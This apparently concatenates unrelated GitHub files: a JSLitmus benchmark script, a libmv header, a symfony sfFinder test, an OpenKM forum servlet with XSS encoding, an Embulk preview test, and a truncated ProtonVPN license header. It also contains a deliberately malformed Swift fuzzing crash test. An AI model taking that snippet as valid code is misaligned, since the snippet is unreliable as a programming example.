<iframe id="tiny_url" frameBorder="0" scrolling="no" src=""></iframe> \
</div> \
<a id="jslitmus_credit" title="JSLitmus home page" href="http://code.google.com/p/jslitmus" target="_blank">Powered by JSLitmus</a> \
</div>';
/**
* The public API for creating and running tests
*/
window.JSLitmus = {
/** The list of all tests that have been registered with JSLitmus.test */
_tests: [],
/** The queue of tests that need to be run */
_queue: [],
/**
* The parsed query parameters the current page URL. This is provided as a
* convenience for test functions - it's not used by JSLitmus proper
*/
params: {},
/**
* Initialize
*/
_init: function() {
// Parse query params into JSLitmus.params[] hash
var match = (location + '').match(/([^?#]*)(#.*)?$/);
if (match) {
var pairs = match[1].split('&');
for (var i = 0; i < pairs.length; i++) {
var pair = pairs[i].split('=');
if (pair.length > 1) {
var key = pair.shift();
var value = pair.length > 1 ? pair.join('=') : pair[0];
this.params[key] = value;
}
}
}
// Write out the stylesheet. We have to do this here because IE
// doesn't honor sheets written after the document has loaded.
document.write(STYLESHEET);
// Setup the rest of the UI once the document is loaded
if (window.addEventListener) {
window.addEventListener('load', this._setup, false);
} else if (document.addEventListener) {
document.addEventListener('load', this._setup, false);
} else if (window.attachEvent) {
window.attachEvent('onload', this._setup);
}
return this;
},
/**
* Set up the UI
*/
_setup: function() {
var el = jsl.$('jslitmus_container');
if (!el) document.body.appendChild(el = document.createElement('div'));
el.innerHTML = MARKUP;
// Render the UI for all our tests
for (var i=0; i < JSLitmus._tests.length; i++)
JSLitmus.renderTest(JSLitmus._tests[i]);
},
/**
* (Re)render all the test results
*/
renderAll: function() {
for (var i = 0; i < JSLitmus._tests.length; i++)
JSLitmus.renderTest(JSLitmus._tests[i]);
JSLitmus.renderChart();
},
/**
* (Re)render the chart graphics
*/
renderChart: function() {
var url = JSLitmus.chartUrl();
jsl.$('chart_link').href = url;
jsl.$('chart_image').src = url;
jsl.$('chart').style.display = '';
// Update the tiny URL
jsl.$('tiny_url').src = 'http://tinyurl.com/api-create.php?url='+escape(url);
},
/**
* (Re)render the results for a specific test
*/
renderTest: function(test) {
// Make a new row if needed
if (!test._row) {
var trow = jsl.$('test_row_template');
if (!trow) return;
test._row = trow.cloneNode(true);
test._row.style.display = '';
test._row.id = '';
test._row.onclick = function() {JSLitmus._queueTest(test);};
test._row.title = 'Run ' + test.name + ' test';
trow.parentNode.appendChild(test._row);
test._row.cells[0].innerHTML = test.name;
}
var cell = test._row.cells[1];
var cns = [test.loopArg ? 'test_looping' : 'test_nonlooping'];
if (test.error) {
cns.push('test_error');
cell.innerHTML =
'<div class="error_head">' + test.error + '</div>' +
'<ul class="error_body"><li>' +
jsl.join(test.error, ': ', '</li><li>') +
'</li></ul>';
} else {
if (test.running) {
cns.push('test_running');
cell.innerHTML = 'running';
} else if (jsl.indexOf(JSLitmus._queue, test) >= 0) {
cns.push('test_pending');
cell.innerHTML = 'pending';
} else if (test.count) {
cns.push('test_done');
var hz = test.getHz(jsl.$('test_normalize').checked);
cell.innerHTML = hz != Infinity ? hz : '∞';
} else {
cell.innerHTML = 'ready';
}
}
cell.className = cns.join(' ');
},
/**
* Create a new test
*/
test: function(name, f) {
// Create the Test object
var test = new Test(name, f);
JSLitmus._tests.push(test);
// Re-render if the test state changes
test.onChange = JSLitmus.renderTest;
// Run the next test if this one finished
test.onStop = function(test) {
if (JSLitmus.onTestFinish) JSLitmus.onTestFinish(test);
JSLitmus.currentTest = null;
JSLitmus._nextTest();
};
// Render the new test
this.renderTest(test);
},
/**
* Add all tests to the run queue
*/
runAll: function(e) {
e = e || window.event;
var reverse = e && e.shiftKey, len = JSLitmus._tests.length;
for (var i = 0; i < len; i++) {
JSLitmus._queueTest(JSLitmus._tests[!reverse ? i : (len - i - 1)]);
}
},
/**
* Remove all tests from the run queue. The current test has to finish on
* it's own though
*/
stop: function() {
while (JSLitmus._queue.length) {
var test = JSLitmus._queue.shift();
JSLitmus.renderTest(test);
}
},
/**
* Run the next test in the run queue
*/
_nextTest: function() {
if (!JSLitmus.currentTest) {
var test = JSLitmus._queue.shift();
if (test) {
jsl.$('stop_button').disabled = false;
JSLitmus.currentTest = test;
test.run();
JSLitmus.renderTest(test);
if (JSLitmus.onTestStart) JSLitmus.onTestStart(test);
} else {
jsl.$('stop_button').disabled = true;
JSLitmus.renderChart();
}
}
},
/**
* Add a test to the run queue
*/
_queueTest: function(test) {
if (jsl.indexOf(JSLitmus._queue, test) >= 0) return;
JSLitmus._queue.push(test);
JSLitmus.renderTest(test);
JSLitmus._nextTest();
},
/**
* Generate a Google Chart URL that shows the data for all tests
*/
chartUrl: function() {
var n = JSLitmus._tests.length, markers = [], data = [];
var d, min = 0, max = -1e10;
var normalize = jsl.$('test_normalize').checked;
// Gather test data
for (var i=0; i < JSLitmus._tests.length; i++) {
var test = JSLitmus._tests[i];
if (test.count) {
var hz = test.getHz(normalize);
var v = hz != Infinity ? hz : 0;
data.push(v);
markers.push('t' + jsl.escape(test.name + '(' + jsl.toLabel(hz)+ ')') + ',000000,0,' +
markers.length + ',10');
max = Math.max(v, max);
}
}
if (markers.length <= 0) return null;
// Build chart title
var title = document.getElementsByTagName('title');
title = (title && title.length) ? title[0].innerHTML : null;
var chart_title = [];
if (title) chart_title.push(title);
chart_title.push('Ops/sec (' + platform + ')');
// Build labels
var labels = [jsl.toLabel(min), jsl.toLabel(max)];
var w = 250, bw = 15;
var bs = 5;
var h = markers.length*(bw + bs) + 30 + chart_title.length*20;
var params = {
chtt: escape(chart_title.join('|')),
chts: '000000,10',
cht: 'bhg', // chart type
chd: 't:' + data.join(','), // data set
chds: min + ',' + max, // max/min of data
chxt: 'x', // label axes
chxl: '0:|' + labels.join('|'), // labels
chsp: '0,1',
chm: markers.join('|'), // test names
chbh: [bw, 0, bs].join(','), // bar widths
// chf: 'bg,lg,0,eeeeee,0,eeeeee,.5,ffffff,1', // gradient
chs: w + 'x' + h
};
return 'http://chart.apis.google.com/chart?' + jsl.join(params, '=', '&');
}
};
JSLitmus._init();
})(); | {
"pile_set_name": "Github"
} |
// Copyright (c) 2011 libmv authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
#ifndef LIBMV_CORRESPONDENCE_PYRAMID_TRACKER_H_
#define LIBMV_CORRESPONDENCE_PYRAMID_TRACKER_H_
#include "libmv/image/image.h"
#include "libmv/base/scoped_ptr.h"
#include "libmv/tracking/region_tracker.h"
namespace libmv {
class PyramidRegionTracker : public RegionTracker {
public:
PyramidRegionTracker(RegionTracker *tracker, int num_levels)
: tracker_(tracker), num_levels_(num_levels) {}
virtual bool Track(const FloatImage &image1,
const FloatImage &image2,
double x1, double y1,
double *x2, double *y2) const;
private:
scoped_ptr<RegionTracker> tracker_;
int num_levels_;
};
} // namespace libmv
#endif // LIBMV_CORRESPONDENCE_PYRAMID_TRACKER_H_
| {
"pile_set_name": "Github"
} |
<?php
/*
* This file is part of the symfony package.
* (c) 2004-2006 Fabien Potencier <[email protected]>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
require_once(__DIR__.'/../../bootstrap/unit.php');
class my_lime_test extends lime_test
{
public function arrays_are_equal($a, $b, $message)
{
sort($a);
sort($b);
return $this->is($a, $b, $message);
}
}
$t = new my_lime_test(39);
require_once($_test_dir.'/../lib/util/sfFinder.class.php');
$fixtureDir = __DIR__.'/fixtures/finder';
$phpFiles = array(
'dir1/dir2/file21.php',
'dir1/file12.php',
);
$txtFiles = array(
'FILE5.txt',
'file2.txt',
);
$regexpFiles = array(
'dir1/dir2/file21.php',
'dir1/dir2/file22',
'dir1/dir2/file23',
'dir1/dir2/file24',
'file2.txt',
);
$regexpWithModifierFiles = array(
'dir1/dir2/file21.php',
'dir1/dir2/file22',
'dir1/dir2/file23',
'dir1/dir2/file24',
'FILE5.txt',
'file2.txt',
);
$allFiles = array(
'dir1/dir2/dir3/file31',
'dir1/dir2/dir4/file41',
'dir1/dir2/file21.php',
'dir1/dir2/file22',
'dir1/dir2/file23',
'dir1/dir2/file24',
'dir1/file11',
'dir1/file12.php',
'dir1/file13',
'file1',
'FILE5.txt',
'file2.txt',
);
$minDepth1Files = array(
'dir1/dir2/dir3/file31',
'dir1/dir2/dir4/file41',
'dir1/dir2/file21.php',
'dir1/dir2/file22',
'dir1/dir2/file23',
'dir1/dir2/file24',
'dir1/file11',
'dir1/file12.php',
'dir1/file13',
);
$maxDepth2Files = array(
'dir1/dir2/file21.php',
'dir1/dir2/file22',
'dir1/dir2/file23',
'dir1/dir2/file24',
'dir1/file11',
'dir1/file12.php',
'dir1/file13',
'file1',
'FILE5.txt',
'file2.txt',
);
$anyWithoutDir2 = array(
'dir1',
'dir1/dir2',
'dir1/file11',
'dir1/file12.php',
'dir1/file13',
'file1',
'FILE5.txt',
'file2.txt',
);
// ::type()
$t->diag('::type()');
$finder = sfFinder::type('file');
$t->ok($finder instanceof sfFinder, '::type() returns a sfFinder instance');
$t->is($finder->get_type(), 'file', '::type() takes a file, dir, or any as its first argument');
$finder = sfFinder::type('dir');
$t->is($finder->get_type(), 'directory', '::type() takes a file, dir, or any as its first argument');
$finder = sfFinder::type('any');
$t->is($finder->get_type(), 'any', '::type() takes a file, dir, or any as its first argument');
$finder = sfFinder::type('somethingelse');
$t->is($finder->get_type(), 'file', '::type() takes a file, dir, or any as its first argument');
// ->setType() ->get_type()
$t->diag('->setType() ->get_type()');
$finder = sfFinder::type('file');
$finder->setType('dir');
$t->is($finder->get_type(), 'directory', '->getType() returns the type of searched files');
$t->is($finder->setType('file'), $finder, '->setType() implements a fluent interface');
// ->name()
$t->diag('->name()');
$finder = sfFinder::type('file');
$t->is($finder->name('*.php'), $finder, '->name() implements the fluent interface');
$t->diag('->name() file name support');
$finder = sfFinder::type('file')->name('file21.php')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array('dir1/dir2/file21.php'), '->name() can take a file name as an argument');
$t->diag('->name() globs support');
$finder = sfFinder::type('file')->name('*.php')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), $phpFiles, '->name() can take a glob pattern as an argument');
$t->diag('->name() regexp support');
$finder = sfFinder::type('file')->name('/^file2.*$/')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), $regexpFiles, '->name() can take a regexp as an argument');
$t->diag('->name() regexp support with modifier');
$finder = sfFinder::type('file')->name('/^file(2|5).*$/i')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), $regexpWithModifierFiles, '->name() can take a regexp with a modifier as an argument');
$t->diag('->name() array / args / chaining');
$finder = sfFinder::type('file')->name(array('*.php', '*.txt'))->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_merge($phpFiles, $txtFiles), '->name() can take an array of patterns');
$finder = sfFinder::type('file')->name('*.php', '*.txt')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_merge($phpFiles, $txtFiles), '->name() can take patterns as arguments');
$finder = sfFinder::type('file')->name('*.php')->name('*.txt')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_merge($phpFiles, $txtFiles), '->name() can be called several times');
// ->not_name()
$t->diag('->not_name()');
$finder = sfFinder::type('file');
$t->is($finder->not_name('*.php'), $finder, '->not_name() implements the fluent interface');
$t->diag('->not_name() file name support');
$finder = sfFinder::type('file')->not_name('file21.php')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, array('dir1/dir2/file21.php'))), '->not_name() can take a file name as an argument');
$t->diag('->not_name() globs support');
$finder = sfFinder::type('file')->not_name('*.php')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, $phpFiles)), '->not_name() can take a glob pattern as an argument');
$t->diag('->not_name() regexp support');
$finder = sfFinder::type('file')->not_name('/^file2.*$/')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, $regexpFiles)), '->not_name() can take a regexp as an argument');
$t->diag('->not_name() array / args / chaining');
$finder = sfFinder::type('file')->not_name(array('*.php', '*.txt'))->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, array_merge($phpFiles, $txtFiles))), '->not_name() can take an array of patterns');
$finder = sfFinder::type('file')->not_name('*.php', '*.txt')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, array_merge($phpFiles, $txtFiles))), '->not_name() can take patterns as arguments');
$finder = sfFinder::type('file')->not_name('*.php')->not_name('*.txt')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, array_merge($phpFiles, $txtFiles))), '->not_name() can be called several times');
$t->diag('->name() ->not_name() in the same query');
$finder = sfFinder::type('file')->not_name('/^file2.*$/')->name('*.php')->relative();
$t->arrays_are_equal($finder->in($fixtureDir), array('dir1/file12.php'), '->not_name() and ->name() can be called in the same query');
// ->size()
$t->diag('->size()');
$finder = sfFinder::type('file');
$t->is($finder->size('> 2K'), $finder, '->size() implements the fluent interface');
$finder = sfFinder::type('file')->size('> 100K')->relative();
$t->is($finder->in($fixtureDir), array(), '->size() takes a size comparison string as its argument');
$finder = sfFinder::type('file')->size('> 1K')->relative();
$t->is($finder->in($fixtureDir), array('file1'), '->size() takes a size comparison string as its argument');
$finder = sfFinder::type('file')->size('> 1K')->size('< 2K')->relative();
$t->is($finder->in($fixtureDir), array(), '->size() takes a size comparison string as its argument');
// ->mindepth() ->maxdepth()
$t->diag('->mindepth() ->maxdepth()');
$finder = sfFinder::type('file');
$t->is($finder->mindepth(1), $finder, '->mindepth() implements the fluent interface');
$t->is($finder->maxdepth(1), $finder, '->maxdepth() implements the fluent interface');
$finder = sfFinder::type('file')->relative()->mindepth(1);
$t->arrays_are_equal($finder->in($fixtureDir), $minDepth1Files, '->mindepth() takes a minimum depth as its argument');
$finder = sfFinder::type('file')->relative()->maxdepth(2);
$t->arrays_are_equal($finder->in($fixtureDir), $maxDepth2Files, '->maxdepth() takes a maximum depth as its argument');
$finder = sfFinder::type('file')->relative()->mindepth(1)->maxdepth(2);
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_intersect($minDepth1Files, $maxDepth2Files)), '->maxdepth() and ->mindepth() can be called in the same query');
// ->discard()
$t->diag('->discard()');
$t->is($finder->discard('file2.txt'), $finder, '->discard() implements the fluent interface');
$t->diag('->discard() file name support');
$finder = sfFinder::type('file')->relative()->discard('file2.txt');
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, array('file2.txt'))), '->discard() can discard a file name');
$t->diag('->discard() glob support');
$finder = sfFinder::type('file')->relative()->discard('*.php');
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, $phpFiles)), '->discard() can discard a glob pattern');
$t->diag('->discard() regexp support');
$finder = sfFinder::type('file')->relative()->discard('/^file2.*$/');
$t->arrays_are_equal($finder->in($fixtureDir), array_values(array_diff($allFiles, $regexpFiles)), '->discard() can discard a regexp pattern');
// ->prune()
$t->diag('->prune()');
$t->is($finder->prune('dir2'), $finder, '->prune() implements the fluent interface');
$finder = sfFinder::type('any')->relative()->prune('dir2');
$t->arrays_are_equal($finder->in($fixtureDir), $anyWithoutDir2, '->prune() ignore all files/directories under the given directory');
// ->in() permissions
$t->diag('->in() permissions');
chmod($fixtureDir.'_permissions/secret', 0000);
$finder = sfFinder::type('file')->relative();
$t->arrays_are_equal($finder->in($fixtureDir.'_permissions'), array(), '->in() ignores directories it cannot read');
chmod($fixtureDir.'_permissions/secret', 0755);
| {
"pile_set_name": "Github"
} |
/**
* OpenKM, Open Document Management System (http://www.openkm.com)
* Copyright (c) 2006-2017 Paco Avila & Josep Llort
* <p>
* No bytes were intentionally harmed during the development of this application.
* <p>
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package com.openkm.extension.servlet;
import com.openkm.core.Config;
import com.openkm.core.DatabaseException;
import com.openkm.extension.dao.ForumDAO;
import com.openkm.extension.dao.bean.Forum;
import com.openkm.extension.dao.bean.ForumPost;
import com.openkm.extension.dao.bean.ForumTopic;
import com.openkm.extension.frontend.client.service.OKMForumService;
import com.openkm.frontend.client.OKMException;
import com.openkm.frontend.client.bean.extension.GWTForum;
import com.openkm.frontend.client.bean.extension.GWTForumPost;
import com.openkm.frontend.client.bean.extension.GWTForumTopic;
import com.openkm.frontend.client.constants.service.ErrorCode;
import com.openkm.servlet.frontend.OKMRemoteServiceServlet;
import com.openkm.util.GWTUtil;
import org.owasp.encoder.Encode;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.*;
/**
* ForumServlet
*
* @author jllort
*/
public class ForumServlet extends OKMRemoteServiceServlet implements OKMForumService {
private static final long serialVersionUID = 1L;
private static Logger log = LoggerFactory.getLogger(ForumServlet.class);
@Override
public List<GWTForumTopic> getTopicsByForum(long id) throws OKMException {
log.debug("getTopicsByForum({})", id);
updateSessionManager();
List<GWTForumTopic> topicList = new ArrayList<GWTForumTopic>();
try {
for (ForumTopic topic : ForumDAO.findByPk(id).getTopics()) {
topicList.add(GWTUtil.copy(topic));
}
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
log.debug("getTopicsByUuid: {}", topicList);
return topicList;
}
@Override
public List<GWTForumTopic> getTopicsByNode(String uuid) throws OKMException {
log.debug("getTopicsByNode({})", uuid);
updateSessionManager();
List<GWTForumTopic> topicList = new ArrayList<GWTForumTopic>();
try {
for (ForumTopic topic : ForumDAO.findAllTopicsByNode(uuid)) {
topicList.add(GWTUtil.copy(topic));
}
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
log.debug("getTopicsByNode: {}", topicList);
return topicList;
}
@Override
public GWTForumTopic createTopic(long id, String nodeUuid, GWTForumTopic topic) throws OKMException {
log.debug("createTopic({}, {}, {})", new Object[]{id, nodeUuid, topic});
updateSessionManager();
try {
topic.setDate(new Date());
topic.setLastPostDate(topic.getDate());
topic.setNode(nodeUuid);
topic.setUser(getThreadLocalRequest().getRemoteUser());
topic.setLastPostUser(topic.getUser());
topic.setReplies(0);
topic.setViews(0);
// Fix XSS issues
topic.setTitle(Encode.forHtml(topic.getTitle()));
GWTForumPost post = topic.getPosts().iterator().next();
post.setDate(topic.getDate());
post.setUser(topic.getUser());
// Fix XSS issues
post.setSubject(Encode.forHtml(post.getSubject()));
post.setMessage(Encode.forHtml(post.getMessage()));
Forum forum = ForumDAO.findByPk(id);
forum.getTopics().add(GWTUtil.copy(topic));
forum.setNumTopics(forum.getNumTopics() + 1);
forum.setNumPosts(forum.getNumPosts() + 1);
ForumDAO.update(forum);
ForumTopic ft = new ForumTopic();
for (Iterator<ForumTopic> it = forum.getTopics().iterator(); it.hasNext(); ) {
ft = it.next();
}
log.debug("getTopicsByUuid: {}", ft);
return GWTUtil.copy(ft);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public GWTForumTopic findTopicByPK(long id) throws OKMException {
log.debug("findTopicByPK({})", id);
updateSessionManager();
try {
return GWTUtil.copy(ForumDAO.findTopicByPk(id));
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void createPost(long forumId, long topicId, GWTForumPost post) throws OKMException {
log.debug("createPost({}, {}, {})", new Object[]{forumId, topicId, post.getSubject()});
updateSessionManager();
try {
post.setDate(new Date());
post.setUser(getThreadLocalRequest().getRemoteUser());
// Fix XSS issues
post.setSubject(Encode.forHtml(post.getSubject()));
post.setMessage(Encode.forHtml(post.getMessage()));
// Update topic
ForumTopic topic = ForumDAO.findTopicByPk(topicId);
topic.getPosts().add(GWTUtil.copy(post));
topic.setReplies(topic.getReplies() + 1);
Calendar cal = Calendar.getInstance();
cal.setTime(post.getDate());
topic.setLastPostDate(cal);
topic.setLastPostUser(post.getUser());
ForumDAO.update(topic);
// Update forum
Forum forum = ForumDAO.findByPk(forumId);
forum.setNumPosts(forum.getNumPosts() + 1);
forum.setLastPostDate(cal);
forum.setLastPostUser(post.getUser());
ForumDAO.update(forum);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void increaseTopicView(long id) throws OKMException {
log.debug("increaseTopicView({})", id);
updateSessionManager();
try {
ForumTopic topic = ForumDAO.findTopicByPk(id);
topic.setViews(topic.getViews() + 1);
ForumDAO.update(topic);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public Boolean deletePost(long forumId, long topicId, long postId) throws OKMException {
log.debug("deletePost({}, {})", topicId, postId);
updateSessionManager();
try {
ForumTopic topic = ForumDAO.findTopicByPk(topicId);
for (ForumPost post : topic.getPosts()) {
if (post.getId() == postId) {
topic.setReplies(topic.getReplies() - 1);
topic.getPosts().remove(post);
break;
}
}
if (topic.getPosts().size() > 0) {
ForumDAO.update(topic); // Deleting post
Forum forum = ForumDAO.findByPk(forumId);
forum.setNumPosts(forum.getNumPosts() - 1);
ForumDAO.update(forum); // Updating forum
return new Boolean(true);
} else {
Forum forum = ForumDAO.findByPk(forumId);
forum.setNumPosts(forum.getNumPosts() - 1);
forum.setNumTopics(forum.getNumTopics() - 1);
for (ForumTopic fp : forum.getTopics()) {
if (fp.getId() == topicId) {
forum.getTopics().remove(fp);
break;
}
}
ForumDAO.update(forum); // Deleting topic
return new Boolean(false);
}
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void updatePost(GWTForumPost post) throws OKMException {
log.debug("updatePost({})", post.getId());
updateSessionManager();
try {
// Fix XSS issues
post.setSubject(Encode.forHtml(post.getSubject()));
post.setMessage(Encode.forHtml(post.getMessage()));
ForumPost fp = ForumDAO.findPostByPk(post.getId());
fp.setSubject(post.getSubject());
fp.setMessage(post.getMessage());
ForumDAO.update(fp);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public List<GWTForum> getAllForum() throws OKMException {
log.debug("getAllForum()");
List<GWTForum> forumList = new ArrayList<GWTForum>();
updateSessionManager();
try {
for (Forum forum : ForumDAO.findAll()) {
// Only administrators can see first forum ( all document discussions )
if (!getThreadLocalRequest().isUserInRole(Config.DEFAULT_ADMIN_ROLE)) {
if (forum.getId() != 1) {
forumList.add(GWTUtil.copy(forum));
}
} else {
forumList.add(GWTUtil.copy(forum));
}
}
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
return forumList;
}
@Override
public GWTForum createForum(GWTForum forum) throws OKMException {
log.debug("createForum()");
updateSessionManager();
try {
// Fix XSS issues
forum.setDescription(Encode.forHtml(forum.getDescription()));
forum.setName(Encode.forHtml(forum.getName()));
forum.setDate(new Date());
forum.setLastPostDate(new Date());
forum.setLastPostUser(getThreadLocalRequest().getRemoteUser());
forum.setNumPosts(0);
forum.setNumTopics(0);
Forum f = GWTUtil.copy(forum);
ForumDAO.create(f);
return GWTUtil.copy(f);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void deleteForum(long id) throws OKMException {
log.debug("deleteForum()");
updateSessionManager();
try {
ForumDAO.delete(id);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void updateForum(GWTForum forum) throws OKMException {
log.debug("updateForum()");
updateSessionManager();
try {
// Fix XSS issues
forum.setDescription(Encode.forHtml(forum.getDescription()));
forum.setName(Encode.forHtml(forum.getName()));
Forum f = ForumDAO.findByPk(forum.getId());
f.setName(forum.getName());
f.setDescription(forum.getDescription());
ForumDAO.update(f);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
@Override
public void updateTopic(long id, GWTForumPost post) throws OKMException {
log.debug("updateTopic({}, {})", id, post.getId());
updateSessionManager();
try {
// Fix XSS issues
post.setSubject(Encode.forHtml(post.getSubject()));
post.setMessage(Encode.forHtml(post.getMessage()));
// Update post
ForumPost fp = ForumDAO.findPostByPk(post.getId());
fp.setSubject(post.getSubject());
fp.setMessage(post.getMessage());
ForumDAO.update(fp);
// Update topic
ForumTopic ft = ForumDAO.findTopicByPk(id);
ft.setTitle(post.getSubject()); // Updating the title
ForumDAO.update(ft);
} catch (DatabaseException e) {
log.error(e.getMessage(), e);
throw new OKMException(ErrorCode.get(ErrorCode.ORIGIN_OKMForumService, ErrorCode.CAUSE_Database),
e.getMessage());
}
}
} | {
"pile_set_name": "Github"
} |
package org.embulk.standards.preview;
import static org.embulk.test.EmbulkTests.copyResource;
import static org.embulk.test.EmbulkTests.readFile;
import static org.embulk.test.EmbulkTests.readResource;
import static org.hamcrest.Matchers.is;
import static org.junit.Assert.assertThat;
import java.io.IOException;
import java.nio.file.Path;
import org.embulk.config.ConfigSource;
import org.embulk.exec.PreviewResult;
import org.embulk.test.TestingEmbulk;
import org.junit.Rule;
import org.junit.Test;
public class TestFilePreview {
private static final String RESOURCE_NAME_PREFIX = "org/embulk/standards/preview/file/test/";
@Rule
public TestingEmbulk embulk = TestingEmbulk.builder()
.build();
@Test
public void testSimple() throws Exception {
assertPreviewedRecords(embulk, "test_simple_load.yml", "test_simple.csv", "test_simple_previewed.csv");
}
@Test
public void changePreviewSampleBufferBytes() throws Exception {
assertPreviewedRecords(embulk, "test_sample_buffer_bytes_load.yml", "test_sample_buffer_bytes_exec.yml",
"test_sample_buffer_bytes.csv", "test_sample_buffer_bytes_previewed.csv");
}
private static void assertPreviewedRecords(TestingEmbulk embulk,
String loadYamlResourceName, String sourceCsvResourceName, String resultCsvResourceName)
throws IOException {
assertPreviewedRecords(embulk, loadYamlResourceName, null, sourceCsvResourceName, resultCsvResourceName);
}
private static void assertPreviewedRecords(TestingEmbulk embulk,
String loadYamlResourceName, String execYamlResourceName, String sourceCsvResourceName, String resultCsvResourceName)
throws IOException {
Path inputPath = embulk.createTempFile("csv");
Path outputPath = embulk.createTempFile("csv");
// in: config
copyResource(RESOURCE_NAME_PREFIX + sourceCsvResourceName, inputPath);
ConfigSource load = embulk.loadYamlResource(RESOURCE_NAME_PREFIX + loadYamlResourceName)
.set("path_prefix", inputPath.toAbsolutePath().toString());
// exec: config
final TestingEmbulk.InputBuilder builder = embulk.inputBuilder();
if (execYamlResourceName != null) {
final ConfigSource execConfig = embulk.loadYamlResource(RESOURCE_NAME_PREFIX + execYamlResourceName);
builder.exec(execConfig);
}
// execute preview
final PreviewResult result = builder.in(load).outputPath(outputPath).preview();
assertThat(readFile(outputPath), is(readResource(RESOURCE_NAME_PREFIX + resultCsvResourceName)));
}
}
| {
"pile_set_name": "Github"
} |
// Distributed under the terms of the MIT license
// Test case submitted to project by https://github.com/practicalswift (practicalswift)
// Test case found by fuzzing
([Void{
Void{
struct A {
class
d
{
let a {
class
case c,
{
([[Void{
((e : A<T : b { func a<T : T where B : Any)
([[Void{
struct A {
{
struct d<T where H.g : b { func a<I : Any)?
(() as a<T
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2020 Proton Technologies AG
*
* This file is part of ProtonVPN.
*
* ProtonVPN is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* ProtonVPN is distributed in the hope that it will be useful,
